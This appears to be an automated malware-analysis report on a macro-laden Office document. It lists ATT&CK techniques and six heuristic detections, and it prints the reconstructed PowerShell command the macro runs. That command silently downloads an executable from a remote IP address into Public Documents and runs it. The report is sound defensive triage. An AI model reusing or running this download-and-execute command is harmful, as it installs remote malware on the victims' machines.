MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The sample contains a VBA macro that executes upon opening the document. This macro constructs and executes a PowerShell command. The command is reconstructed as: powershell -w hide -Se 31;Start-BitsTransfer -Source http://18.195.143.183/7/7/IMG_07890103012311.exe -Destination C:\Users\Public\Documents\carsource.exe;C:\Users\Public\Documents\carsource.exe. This command downloads an executable from a remote server and saves it locally, then executes it. The macro also writes this command to a file named 'modelcrime.cm' in the public documents directory.

Heuristics 6

  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
